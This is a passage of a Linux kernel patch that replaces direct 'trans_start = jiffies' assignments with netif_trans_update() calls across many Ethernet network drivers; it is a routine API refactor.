 	spin_lock_irqsave(&sc->sbm_lock, flags);
 
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 
 	spin_unlock_irqrestore(&sc->sbm_lock, flags);
diff --git a/drivers/net/ethernet/broadcom/tg3.c b/drivers/net/ethernet/broadcom/tg3.c
index 3010080..ff300f7 100644
--- a/drivers/net/ethernet/broadcom/tg3.c
+++ b/drivers/net/ethernet/broadcom/tg3.c
@@ -7383,7 +7383,7 @@ static void tg3_napi_fini(struct tg3 *tp)
 
 static inline void tg3_netif_stop(struct tg3 *tp)
 {
-	tp->dev->trans_start = jiffies;	/* prevent tx timeout */
+	netif_trans_update(tp->dev);	/* prevent tx timeout */
 	tg3_napi_disable(tp);
 	netif_carrier_off(tp->dev);
 	netif_tx_disable(tp->dev);
diff --git a/drivers/net/ethernet/cavium/liquidio/lio_main.c b/drivers/net/ethernet/cavium/liquidio/lio_main.c
index 34d269c..8de79ae 100644
--- a/drivers/net/ethernet/cavium/liquidio/lio_main.c
+++ b/drivers/net/ethernet/cavium/liquidio/lio_main.c
@@ -2899,7 +2899,7 @@ static int liquidio_xmit(struct sk_buff *skb, struct net_device *netdev)
 	if (status == IQ_SEND_STOP)
 		stop_q(lio->netdev, q_idx);
 
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	stats->tx_done++;
 	stats->tx_tot_bytes += skb->len;
@@ -2928,7 +2928,7 @@ static void liquidio_tx_timeout(struct net_device *netdev)
 	netif_info(lio, tx_err, lio->netdev,
 		   "Transmit timeout tx_dropped:%ld, waking up queues now!!\n",
 		   netdev->stats.tx_dropped);
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 	txqs_wake(netdev);
 }
 
diff --git a/drivers/net/ethernet/cavium/octeon/octeon_mgmt.c b/drivers/net/ethernet/cavium/octeon/octeon_mgmt.c
index c177c7c..388cd79 100644
--- a/drivers/net/ethernet/cavium/octeon/octeon_mgmt.c
+++ b/drivers/net/ethernet/cavium/octeon/octeon_mgmt.c
@@ -1320,7 +1320,7 @@ static int octeon_mgmt_xmit(struct sk_buff *skb, struct net_device *netdev)
 	/* Ring the bell.  */
 	cvmx_write_csr(p->mix + MIX_ORING2, 1);
 
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 	rv = NETDEV_TX_OK;
 out:
 	octeon_mgmt_update_tx_stats(netdev);
diff --git a/drivers/net/ethernet/cavium/thunder/nicvf_main.c b/drivers/net/ethernet/cavium/thunder/nicvf_main.c
index bfee298..a19e73f 100644
--- a/drivers/net/ethernet/cavium/thunder/nicvf_main.c
+++ b/drivers/net/ethernet/cavium/thunder/nicvf_main.c
@@ -1442,7 +1442,7 @@ static void nicvf_reset_task(struct work_struct *work)
 
 	nicvf_stop(nic->netdev);
 	nicvf_open(nic->netdev);
-	nic->netdev->trans_start = jiffies;
+	netif_trans_update(nic->netdev);
 }
 
 static int nicvf_config_loopback(struct nicvf *nic,
diff --git a/drivers/net/ethernet/chelsio/cxgb4vf/sge.c b/drivers/net/ethernet/chelsio/cxgb4vf/sge.c
index 1ccd282..1bb57d3 100644
--- a/drivers/net/ethernet/chelsio/cxgb4vf/sge.c
+++ b/drivers/net/ethernet/chelsio/cxgb4vf/sge.c
@@ -1448,7 +1448,7 @@ int t4vf_eth_xmit(struct sk_buff *skb, struct net_device *dev)
 	 * the new TX descriptors and return success.
 	 */
 	txq_advance(&txq->q, ndesc);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	ring_tx_db(adapter, &txq->q, ndesc);
 	return NETDEV_TX_OK;
 
diff --git a/drivers/net/ethernet/davicom/dm9000.c b/drivers/net/ethernet/davicom/dm9000.c
index 48d9194..9e06130 100644
--- a/drivers/net/ethernet/davicom/dm9000.c
+++ b/drivers/net/ethernet/davicom/dm9000.c
@@ -966,7 +966,7 @@ dm9000_init_dm9000(struct net_device *dev)
 	/* Init Driver variable */
 	db->tx_pkt_cnt = 0;
 	db->queue_pkt_len = 0;
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 }
 
 /* Our watchdog timed out. Called by the networking layer */
@@ -985,7 +985,7 @@ static void dm9000_timeout(struct net_device *dev)
 	dm9000_init_dm9000(dev);
 	dm9000_unmask_interrupts(db);
 	/* We can accept TX packets again */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 
 	/* Restore previous register address */
diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index d88fbab..cbe8497 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1336,7 +1336,7 @@ de4x5_open(struct net_device *dev)
     }
 
     lp->interrupt = UNMASK_INTERRUPTS;
-    dev->trans_start = jiffies; /* prevent tx timeout */
+    netif_trans_update(dev); /* prevent tx timeout */
 
     START_DE4X5;
 
@@ -1935,7 +1935,7 @@ set_multicast_list(struct net_device *dev)
 
 	    lp->tx_new = (lp->tx_new + 1) % lp->txRingSize;
 	    outl(POLL_DEMAND, DE4X5_TPD);       /* Start the TX */
-	    dev->trans_start = jiffies; /* prevent tx timeout */
+	    netif_trans_update(dev); /* prevent tx timeout */
 	}
     }
 }
diff --git a/drivers/net/ethernet/dec/tulip/dmfe.c b/drivers/net/ethernet/dec/tulip/dmfe.c
index dd1c815..8785f48 100644
--- a/drivers/net/ethernet/dec/tulip/dmfe.c
+++ b/drivers/net/ethernet/dec/tulip/dmfe.c
@@ -725,7 +725,7 @@ static netdev_tx_t dmfe_start_xmit(struct sk_buff *skb,
 		txptr->tdes0 = cpu_to_le32(0x80000000);	/* Set owner bit */
 		db->tx_packet_cnt++;			/* Ready to send */
 		dw32(DCR1, 0x1);			/* Issue Tx polling */
-		dev->trans_start = jiffies;		/* saved time stamp */
+		netif_trans_update(dev);		/* saved time stamp */
 	} else {
 		db->tx_queue_cnt++;			/* queue TX packet */
 		dw32(DCR1, 0x1);			/* Issue Tx polling */
@@ -931,7 +931,7 @@ static void dmfe_free_tx_pkt(struct net_device *dev, struct dmfe_board_info * db
 		db->tx_packet_cnt++;			/* Ready to send */
 		db->tx_queue_cnt--;
 		dw32(DCR1, 0x1);			/* Issue Tx polling */
-		dev->trans_start = jiffies;		/* saved time stamp */
+		netif_trans_update(dev);		/* saved time stamp */
 	}
 
 	/* Resource available check */
@@ -1542,7 +1542,7 @@ static void send_filter_frame(struct net_device *dev)
 		update_cr6(db->cr6_data | 0x2000, ioaddr);
 		dw32(DCR1, 0x1);	/* Issue Tx polling */
 		update_cr6(db->cr6_data, ioaddr);
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 	} else
 		db->tx_queue_cnt++;	/* Put in TX queue */
 }
diff --git a/drivers/net/ethernet/dec/tulip/pnic.c b/drivers/net/ethernet/dec/tulip/pnic.c
index 5364563..7bcccf5 100644
--- a/drivers/net/ethernet/dec/tulip/pnic.c
+++ b/drivers/net/ethernet/dec/tulip/pnic.c
@@ -44,7 +44,7 @@ void pnic_do_nway(struct net_device *dev)
 			tp->csr6 = new_csr6;
 			/* Restart Tx */
 			tulip_restart_rxtx(tp);
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 		}
 	}
 }
@@ -70,7 +70,7 @@ void pnic_lnk_change(struct net_device *dev, int csr5)
 			iowrite32(tp->csr6, ioaddr + CSR6);
 			iowrite32(0x30, ioaddr + CSR12);
 			iowrite32(0x0201F078, ioaddr + 0xB8); /* Turn on autonegotiation. */
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 		}
 	} else if (ioread32(ioaddr + CSR5) & TPLnkPass) {
 		if (tulip_media_cap[dev->if_port] & MediaIsMII) {
@@ -147,7 +147,7 @@ void pnic_timer(unsigned long data)
 				tp->csr6 = new_csr6;
 				/* Restart Tx */
 				tulip_restart_rxtx(tp);
-				dev->trans_start = jiffies;
+				netif_trans_update(dev);
 				if (tulip_debug > 1)
 					dev_info(&dev->dev,
 						 "Changing PNIC configuration to %s %s-duplex, CSR6 %08x\n",
diff --git a/drivers/net/ethernet/dec/tulip/tulip_core.c b/drivers/net/ethernet/dec/tulip/tulip_core.c
index 94d0eeb..bbde90b 100644
--- a/drivers/net/ethernet/dec/tulip/tulip_core.c
+++ b/drivers/net/ethernet/dec/tulip/tulip_core.c
@@ -605,7 +605,7 @@ static void tulip_tx_timeout(struct net_device *dev)
 
 out_unlock:
 	spin_unlock_irqrestore (&tp->lock, flags);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue (dev);
 }
 
diff --git a/drivers/net/ethernet/dec/tulip/uli526x.c b/drivers/net/ethernet/dec/tulip/uli526x.c
index 447d092..e750b5d 100644
--- a/drivers/net/ethernet/dec/tulip/uli526x.c
+++ b/drivers/net/ethernet/dec/tulip/uli526x.c
@@ -636,7 +636,7 @@ static netdev_tx_t uli526x_start_xmit(struct sk_buff *skb,
 		txptr->tdes0 = cpu_to_le32(0x80000000);	/* Set owner bit */
 		db->tx_packet_cnt++;			/* Ready to send */
 		uw32(DCR1, 0x1);			/* Issue Tx polling */
-		dev->trans_start = jiffies;		/* saved time stamp */
+		netif_trans_update(dev);		/* saved time stamp */
 	}
 
 	/* Tx resource check */
@@ -1431,7 +1431,7 @@ static void send_filter_frame(struct net_device *dev, int mc_cnt)
 		update_cr6(db->cr6_data | 0x2000, ioaddr);
 		uw32(DCR1, 0x1);	/* Issue Tx polling */
 		update_cr6(db->cr6_data, ioaddr);
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 	} else
 		netdev_err(dev, "No Tx resource - Send_filter_frame!\n");
 }
diff --git a/drivers/net/ethernet/dec/tulip/winbond-840.c b/drivers/net/ethernet/dec/tulip/winbond-840.c
index 3c0e4d5..1f62b94 100644
--- a/drivers/net/ethernet/dec/tulip/winbond-840.c
+++ b/drivers/net/ethernet/dec/tulip/winbond-840.c
@@ -966,7 +966,7 @@ static void tx_timeout(struct net_device *dev)
 	enable_irq(irq);
 
 	netif_wake_queue(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	np->stats.tx_errors++;
 }
 
diff --git a/drivers/net/ethernet/dlink/dl2k.c b/drivers/net/ethernet/dlink/dl2k.c
index f92b6d9..78f1446 100644
--- a/drivers/net/ethernet/dlink/dl2k.c
+++ b/drivers/net/ethernet/dlink/dl2k.c
@@ -706,7 +706,7 @@ rio_tx_timeout (struct net_device *dev)
 		dev->name, dr32(TxStatus));
 	rio_free_tx(dev, 0);
 	dev->if_port = 0;
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 }
 
 static netdev_tx_t
diff --git a/drivers/net/ethernet/dlink/sundance.c b/drivers/net/ethernet/dlink/sundance.c
index a28a2e5..58c6338 100644
--- a/drivers/net/ethernet/dlink/sundance.c
+++ b/drivers/net/ethernet/dlink/sundance.c
@@ -1011,7 +1011,7 @@ static void tx_timeout(struct net_device *dev)
 
 	dev->if_port = 0;
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 	if (np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 4) {
 		netif_wake_queue(dev);
diff --git a/drivers/net/ethernet/fealnx.c b/drivers/net/ethernet/fealnx.c
index b1b9eba..c08bd76 100644
--- a/drivers/net/ethernet/fealnx.c
+++ b/drivers/net/ethernet/fealnx.c
@@ -1227,7 +1227,7 @@ static void fealnx_tx_timeout(struct net_device *dev)
 
 	spin_unlock_irqrestore(&np->lock, flags);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 	netif_wake_queue(dev); /* or .._start_.. ?? */
 }
diff --git a/drivers/net/ethernet/freescale/gianfar.c b/drivers/net/ethernet/freescale/gianfar.c
index d2f917a..a580041 100644
--- a/drivers/net/ethernet/freescale/gianfar.c
+++ b/drivers/net/ethernet/freescale/gianfar.c
@@ -2076,7 +2076,7 @@ void gfar_start(struct gfar_private *priv)
 
 	gfar_ints_enable(priv);
 
-	priv->ndev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(priv->ndev); /* prevent tx timeout */
 }
 
 static void free_grp_irqs(struct gfar_priv_grp *grp)
diff --git a/drivers/net/ethernet/fujitsu/fmvj18x_cs.c b/drivers/net/ethernet/fujitsu/fmvj18x_cs.c
index 678f501..399cfd2 100644
--- a/drivers/net/ethernet/fujitsu/fmvj18x_cs.c
+++ b/drivers/net/ethernet/fujitsu/fmvj18x_cs.c
@@ -746,7 +746,7 @@ static irqreturn_t fjn_interrupt(int dummy, void *dev_id)
 	    lp->sent = lp->tx_queue ;
 	    lp->tx_queue = 0;
 	    lp->tx_queue_len = 0;
-	    dev->trans_start = jiffies;
+	    netif_trans_update(dev);
 	} else {
 	    lp->tx_started = 0;
 	}
diff --git a/drivers/net/ethernet/hisilicon/hix5hd2_gmac.c b/drivers/net/ethernet/hisilicon/hix5hd2_gmac.c
index e51892d..b9f2ea5 100644
--- a/drivers/net/ethernet/hisilicon/hix5hd2_gmac.c
+++ b/drivers/net/ethernet/hisilicon/hix5hd2_gmac.c
@@ -636,7 +636,7 @@ static int hix5hd2_net_xmit(struct sk_buff *skb, struct net_device *dev)
 	pos = dma_ring_incr(pos, TX_DESC_NUM);
 	writel_relaxed(dma_byte(pos), priv->base + TX_BQ_WR_ADDR);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	dev->stats.tx_packets++;
 	dev->stats.tx_bytes += skb->len;
 	netdev_sent_queue(dev, skb->len);
diff --git a/drivers/net/ethernet/hisilicon/hns/hns_enet.c b/drivers/net/ethernet/hisilicon/hns/hns_enet.c
index e47aff2..e621636 100644
--- a/drivers/net/ethernet/hisilicon/hns/hns_enet.c
+++ b/drivers/net/ethernet/hisilicon/hns/hns_enet.c
@@ -1275,7 +1275,7 @@ void hns_nic_net_reinit(struct net_device *netdev)
 {
 	struct hns_nic_priv *priv = netdev_priv(netdev);
 
-	priv->netdev->trans_start = jiffies;
+	netif_trans_update(priv->netdev);
 	while (test_and_set_bit(NIC_STATE_REINITING, &priv->state))
 		usleep_range(1000, 2000);
 
@@ -1376,7 +1376,7 @@ static netdev_tx_t hns_nic_net_xmit(struct sk_buff *skb,
 	ret = hns_nic_net_xmit_hw(ndev, skb,
 				  &tx_ring_data(priv, skb->queue_mapping));
 	if (ret == NETDEV_TX_OK) {
-		ndev->trans_start = jiffies;
+		netif_trans_update(ndev);
 		ndev->stats.tx_bytes += skb->len;
 		ndev->stats.tx_packets++;
 	}
@@ -1648,7 +1648,7 @@ static void hns_nic_reset_subtask(struct hns_nic_priv *priv)
 
 	rtnl_lock();
 	/* put off any impending NetWatchDogTimeout */
-	priv->netdev->trans_start = jiffies;
+	netif_trans_update(priv->netdev);
 
 	if (type == HNAE_PORT_DEBUG) {
 		hns_nic_net_reinit(priv->netdev);
diff --git a/drivers/net/ethernet/hp/hp100.c b/drivers/net/ethernet/hp/hp100.c
index 3daf2d4..631dbc7 100644
--- a/drivers/net/ethernet/hp/hp100.c
+++ b/drivers/net/ethernet/hp/hp100.c
@@ -1102,7 +1102,7 @@ static int hp100_open(struct net_device *dev)
 		return -EAGAIN;
 	}
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_start_queue(dev);
 
 	lp->lan_type = hp100_sense_lan(dev);
diff --git a/drivers/net/ethernet/i825xx/82596.c b/drivers/net/ethernet/i825xx/82596.c
index 7ce6379..befb4ac 100644
--- a/drivers/net/ethernet/i825xx/82596.c
+++ b/drivers/net/ethernet/i825xx/82596.c
@@ -1042,7 +1042,7 @@ static void i596_tx_timeout (struct net_device *dev)
 		lp->last_restart = dev->stats.tx_packets;
 	}
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue (dev);
 }
 
diff --git a/drivers/net/ethernet/i825xx/lib82596.c b/drivers/net/ethernet/i825xx/lib82596.c
index c984998..3dbc53c2 100644
--- a/drivers/net/ethernet/i825xx/lib82596.c
+++ b/drivers/net/ethernet/i825xx/lib82596.c
@@ -960,7 +960,7 @@ static void i596_tx_timeout (struct net_device *dev)
 		lp->last_restart = dev->stats.tx_packets;
 	}
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue (dev);
 }
 
diff --git a/drivers/net/ethernet/i825xx/sun3_82586.c b/drivers/net/ethernet/i825xx/sun3_82586.c
index 353f57f6..21c84cc 100644
--- a/drivers/net/ethernet/i825xx/sun3_82586.c
+++ b/drivers/net/ethernet/i825xx/sun3_82586.c
@@ -983,7 +983,7 @@ static void sun3_82586_timeout(struct net_device *dev)
 		p->scb->cmd_cuc = CUC_START;
 		sun3_attn586();
 		WAIT_4_SCB_CMD();
-		dev->trans_start = jiffies; /* prevent tx timeout */
+		netif_trans_update(dev); /* prevent tx timeout */
 		return 0;
 	}
 #endif
@@ -996,7 +996,7 @@ static void sun3_82586_timeout(struct net_device *dev)
 		sun3_82586_close(dev);
 		sun3_82586_open(dev);
 	}
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 }
 
 /******************************************************
diff --git a/drivers/net/ethernet/ibm/emac/core.c b/drivers/net/ethernet/ibm/emac/core.c
index 5d7db6c..4c9771d 100644
--- a/drivers/net/ethernet/ibm/emac/core.c
+++ b/drivers/net/ethernet/ibm/emac/core.c
@@ -301,7 +301,7 @@ static inline void emac_netif_stop(struct emac_instance *dev)
 	dev->no_mcast = 1;
 	netif_addr_unlock(dev->ndev);
 	netif_tx_unlock_bh(dev->ndev);
-	dev->ndev->trans_start = jiffies;	/* prevent tx timeout */
+	netif_trans_update(dev->ndev);	/* prevent tx timeout */
 	mal_poll_disable(dev->mal, &dev->commac);
 	netif_tx_disable(dev->ndev);
 }
@@ -1377,7 +1377,7 @@ static inline int emac_xmit_finish(struct emac_instance *dev, int len)
 		DBG2(dev, "stopped TX queue" NL);
 	}
 
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 	++dev->stats.tx_packets;
 	dev->stats.tx_bytes += len;
 
diff --git a/drivers/net/ethernet/intel/fm10k/fm10k_pci.c b/drivers/net/ethernet/intel/fm10k/fm10k_pci.c
index 206a466..e05aca9 100644
--- a/drivers/net/ethernet/intel/fm10k/fm10k_pci.c
+++ b/drivers/net/ethernet/intel/fm10k/fm10k_pci.c
@@ -145,7 +145,7 @@ static void fm10k_reinit(struct fm10k_intfc *interface)
 	WARN_ON(in_interrupt());
 
 	/* put off any impending NetWatchDogTimeout */
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	while (test_and_set_bit(__FM10K_RESETTING, &interface->state))
 		usleep_range(1000, 2000);
diff --git a/drivers/net/ethernet/intel/ixgbe/ixgbe_main.c b/drivers/net/ethernet/intel/ixgbe/ixgbe_main.c
index 18dcfc5..5f3d239 100644
--- a/drivers/net/ethernet/intel/ixgbe/ixgbe_main.c
+++ b/drivers/net/ethernet/intel/ixgbe/ixgbe_main.c
@@ -5287,7 +5287,7 @@ void ixgbe_reinit_locked(struct ixgbe_adapter *adapter)
 {
 	WARN_ON(in_interrupt());
 	/* put off any impending NetWatchDogTimeout */
-	adapter->netdev->trans_start = jiffies;
+	netif_trans_update(adapter->netdev);
 
 	while (test_and_set_bit(__IXGBE_RESETTING, &adapter->state))
 		usleep_range(1000, 2000);
diff --git a/drivers/net/ethernet/korina.c b/drivers/net/ethernet/korina.c
index d74f5f4..1799fe1 100644
--- a/drivers/net/ethernet/korina.c
+++ b/drivers/net/ethernet/korina.c
@@ -152,7 +152,7 @@ static inline void korina_abort_dma(struct net_device *dev,
 	       writel(0x10, &ch->dmac);
 
 	       while (!(readl(&ch->dmas) & DMA_STAT_HALT))
-		       dev->trans_start = jiffies;
+		       netif_trans_update(dev);
 
 	       writel(0, &ch->dmas);
        }
@@ -283,7 +283,7 @@ static int korina_send_packet(struct sk_buff *skb, struct net_device *dev)
 	}
 	dma_cache_wback((u32) td, sizeof(*td));
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	spin_unlock_irqrestore(&lp->lock, flags);
 
 	return NETDEV_TX_OK;
@@ -622,7 +622,7 @@ korina_tx_dma_interrupt(int irq, void *dev_id)
 				&(lp->tx_dma_regs->dmandptr));
 			lp->tx_chain_status = desc_empty;
 			lp->tx_chain_head = lp->tx_chain_tail;
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 		}
 		if (dmas & DMA_STAT_ERR)
 			printk(KERN_ERR "%s: DMA error\n", dev->name);
@@ -811,7 +811,7 @@ static int korina_init(struct net_device *dev)
 	/* reset ethernet logic */
 	writel(0, &lp->eth_regs->ethintfc);
 	while ((readl(&lp->eth_regs->ethintfc) & ETH_INT_FC_RIP))
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 
 	/* Enable Ethernet Interface */
 	writel(ETH_INT_FC_EN, &lp->eth_regs->ethintfc);
diff --git a/drivers/net/ethernet/lantiq_etop.c b/drivers/net/ethernet/lantiq_etop.c
index b630ef1..dc82b1b 100644
--- a/drivers/net/ethernet/lantiq_etop.c
+++ b/drivers/net/ethernet/lantiq_etop.c
@@ -519,7 +519,7 @@ ltq_etop_tx(struct sk_buff *skb, struct net_device *dev)
 	byte_offset = CPHYSADDR(skb->data) % 16;
 	ch->skb[ch->dma.desc] = skb;
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	spin_lock_irqsave(&priv->lock, flags);
 	desc->addr = ((unsigned int) dma_map_single(NULL, skb->data, len,
@@ -657,7 +657,7 @@ ltq_etop_tx_timeout(struct net_device *dev)
 	err = ltq_etop_hw_init(dev);
 	if (err)
 		goto err_hw;
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_wake_queue(dev);
 	return;
 
diff --git a/drivers/net/ethernet/marvell/pxa168_eth.c b/drivers/net/ethernet/marvell/pxa168_eth.c
index 7ace07d..c6268b9 100644
--- a/drivers/net/ethernet/marvell/pxa168_eth.c
+++ b/drivers/net/ethernet/marvell/pxa168_eth.c
@@ -1295,7 +1295,7 @@ static int pxa168_eth_start_xmit(struct sk_buff *skb, struct net_device *dev)
 
 	stats->tx_bytes += length;
 	stats->tx_packets++;
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	if (pep->tx_ring_size - pep->tx_desc_count <= 1) {
 		/* We handled the current skb, but now we are out of space.*/
 		netif_stop_queue(dev);
diff --git a/drivers/net/ethernet/marvell/sky2.c b/drivers/net/ethernet/marvell/sky2.c
index ec0a221..467138b 100644
--- a/drivers/net/ethernet/marvell/sky2.c
+++ b/drivers/net/ethernet/marvell/sky2.c
@@ -2418,7 +2418,7 @@ static int sky2_change_mtu(struct net_device *dev, int new_mtu)
 	sky2_write32(hw, B0_IMSK, 0);
 	sky2_read32(hw, B0_IMSK);
 
-	dev->trans_start = jiffies;	/* prevent tx timeout */
+	netif_trans_update(dev);	/* prevent tx timeout */
 	napi_disable(&hw->napi);
 	netif_tx_disable(dev);
 
diff --git a/drivers/net/ethernet/micrel/ksz884x.c b/drivers/net/ethernet/micrel/ksz884x.c
index 75dc46c..280e761 100644
--- a/drivers/net/ethernet/micrel/ksz884x.c
+++ b/drivers/net/ethernet/micrel/ksz884x.c
@@ -4790,7 +4790,7 @@ static void transmit_cleanup(struct dev_info *hw_priv, int normal)
 
 	/* Notify the network subsystem that the packet has been sent. */
 	if (dev)
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 }
 
 /**
@@ -4965,7 +4965,7 @@ static void netdev_tx_timeout(struct net_device *dev)
 		hw_ena_intr(hw);
 	}
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/microchip/encx24j600.c b/drivers/net/ethernet/microchip/encx24j600.c
index 707283b..42e3407 100644
--- a/drivers/net/ethernet/microchip/encx24j600.c
+++ b/drivers/net/ethernet/microchip/encx24j600.c
@@ -874,7 +874,7 @@ static netdev_tx_t encx24j600_tx(struct sk_buff *skb, struct net_device *dev)
 	netif_stop_queue(dev);
 
 	/* save the timestamp */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* Remember the skb for deferred processing */
 	priv->tx_skb = skb;
diff --git a/drivers/net/ethernet/moxa/moxart_ether.c b/drivers/net/ethernet/moxa/moxart_ether.c
index 3e67f45..4367dd6 100644
--- a/drivers/net/ethernet/moxa/moxart_ether.c
+++ b/drivers/net/ethernet/moxa/moxart_ether.c
@@ -376,7 +376,7 @@ static int moxart_mac_start_xmit(struct sk_buff *skb, struct net_device *ndev)
 
 	priv->tx_head = TX_NEXT(tx_head);
 
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 	ret = NETDEV_TX_OK;
 out_unlock:
 	spin_unlock_irq(&priv->txlock);
diff --git a/drivers/net/ethernet/natsemi/natsemi.c b/drivers/net/ethernet/natsemi/natsemi.c
index 122c2ee..ed89029 100644
--- a/drivers/net/ethernet/natsemi/natsemi.c
+++ b/drivers/net/ethernet/natsemi/natsemi.c
@@ -1904,7 +1904,7 @@ static void ns_tx_timeout(struct net_device *dev)
 	spin_unlock_irq(&np->lock);
 	enable_irq(irq);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 	netif_wake_queue(dev);
 }
diff --git a/drivers/net/ethernet/natsemi/sonic.c b/drivers/net/ethernet/natsemi/sonic.c
index 1bd419d..612c7a4 100644
--- a/drivers/net/ethernet/natsemi/sonic.c
+++ b/drivers/net/ethernet/natsemi/sonic.c
@@ -174,7 +174,7 @@ static void sonic_tx_timeout(struct net_device *dev)
 	/* Try to restart the adaptor. */
 	sonic_init(dev);
 	lp->stats.tx_errors++;
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/nuvoton/w90p910_ether.c b/drivers/net/ethernet/nuvoton/w90p910_ether.c
index 52d9a94..87b7b81 100644
--- a/drivers/net/ethernet/nuvoton/w90p910_ether.c
+++ b/drivers/net/ethernet/nuvoton/w90p910_ether.c
@@ -476,7 +476,7 @@ static void w90p910_reset_mac(struct net_device *dev)
 
 	w90p910_init_desc(dev);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	ether->cur_tx = 0x0;
 	ether->finish_tx = 0x0;
 	ether->cur_rx = 0x0;
@@ -490,7 +490,7 @@ static void w90p910_reset_mac(struct net_device *dev)
 	w90p910_trigger_tx(dev);
 	w90p910_trigger_rx(dev);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 
 	if (netif_queue_stopped(dev))
 		netif_wake_queue(dev);
diff --git a/drivers/net/ethernet/packetengines/hamachi.c b/drivers/net/ethernet/packetengines/hamachi.c
index 13d88a6..91be2f0 100644
--- a/drivers/net/ethernet/packetengines/hamachi.c
+++ b/drivers/net/ethernet/packetengines/hamachi.c
@@ -1144,7 +1144,7 @@ static void hamachi_tx_timeout(struct net_device *dev)
 	hmp->rx_ring[RX_RING_SIZE-1].status_n_length |= cpu_to_le32(DescEndRing);
 
 	/* Trigger an immediate transmit demand. */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 
 	/* Restart the chip's Tx/Rx processes . */
diff --git a/drivers/net/ethernet/packetengines/yellowfin.c b/drivers/net/ethernet/packetengines/yellowfin.c
index fa2db41..fb1d103 100644
--- a/drivers/net/ethernet/packetengines/yellowfin.c
+++ b/drivers/net/ethernet/packetengines/yellowfin.c
@@ -714,7 +714,7 @@ static void yellowfin_tx_timeout(struct net_device *dev)
 	if (yp->cur_tx - yp->dirty_tx < TX_QUEUE_SIZE)
 		netif_wake_queue (dev);		/* Typical path */
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 }
 
diff --git a/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c b/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c
index fd362b6..cad37af 100644
--- a/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c
+++ b/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c
@@ -2285,7 +2285,7 @@ static void netxen_tx_timeout_task(struct work_struct *work)
 			goto request_reset;
 		}
 	}
-	adapter->netdev->trans_start = jiffies;
+	netif_trans_update(adapter->netdev);
 	rtnl_unlock();
 	return;
 
diff --git a/drivers/net/ethernet/qualcomm/qca_spi.c b/drivers/net/ethernet/qualcomm/qca_spi.c
index 82f3c88..6e2add9 100644
--- a/drivers/net/ethernet/qualcomm/qca_spi.c
+++ b/drivers/net/ethernet/qualcomm/qca_spi.c
@@ -719,7 +719,7 @@ qcaspi_netdev_xmit(struct sk_buff *skb, struct net_device *dev)
 		qca->stats.ring_full++;
 	}
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	if (qca->spi_thread &&
 	    qca->spi_thread->state != TASK_RUNNING)
